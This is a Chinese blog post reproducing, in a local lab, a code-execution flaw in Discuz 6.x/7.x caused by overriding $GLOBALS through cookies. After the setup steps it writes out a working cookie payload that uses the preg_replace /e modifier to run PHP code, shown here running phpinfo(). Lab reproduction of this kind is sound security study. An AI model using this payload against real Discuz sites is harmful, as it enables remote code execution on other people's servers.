Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现（超级详细）

最新推荐文章于 2021-07-29 23:20:43 发布

小小小小白1397654

最新推荐文章于 2021-07-29 23:20:43 发布

阅读量793

点赞数 1

分类专栏：漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/weixin_45819911/article/details/107360781

版权

漏洞复现专栏收录该内容

1 篇文章 0 订阅

订阅专栏

Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现

闲谈：

其实自己做个不少漏洞复现，但是一直没好意思发，后来我发现了，不发出来我写他干嘛？（反正也没人看）

0x00 漏洞概述：

由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致 $_REQUEST中不再包含$ _COOKIE，我们通过在Cookie中传入$GLOBALS来覆盖全局变量，造成代码执行漏洞。

0x01 前置条件：

php版本：php5.3.x php5.6.x
（经测试php5.2.x php7 均复现失败）

0x02 影响版本：

Discuz 6.x
Discuz 7.x

0x03 环境搭建：

靶机：Windows10专业版1903 phpstudy_pro php5.6.9nts Mysql5.7.26 Apache2.4.39 UCenter1.5.0 Discuz7.2
攻击机：kali2020 burp 火狐浏览器

环境搭建：
安装UCenter1.5.0：
将下载的UCenter1.5.0压缩包中得upload文件夹解压到网站根目录下，访问127.0.0.1/UCenter_1.5.0_SC_UTF8/upload/install，安装步骤如图0-图3所示:
在这里插入图片描述
图0

图1

在这里插入图片描述
图2

图3

安装Discuz7.2：
将下载的Discuz7.2压缩包中得upload文件夹解压到网站根目录下，访问127.0.0.1/Discuz7.2/upload/install ，安装步骤如图4-图7所示：
在这里插入图片描述
图4

图5

图6

图7
数据库信息必须是已经存在的，安装完成。

0x04 漏洞利用：
访问一个已经存在的帖子，用burp抓包，并且在cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 如图8所示：
在这里插入图片描述
图8

返回结果如下图9：
在这里插入图片描述
图9
可见执行成功。

附录：

1：127.0.0.1/Discuz7.2/upload/install 页面空白，无法出现安装引导：
打开config.inc.php文件，将 $d b u s e r 的值均设置为 r o o t ，$ dbpw的值设为123456，$dbname设为root （phpstudy数据库名称，账号，密码）如图10：
在这里插入图片描述
图10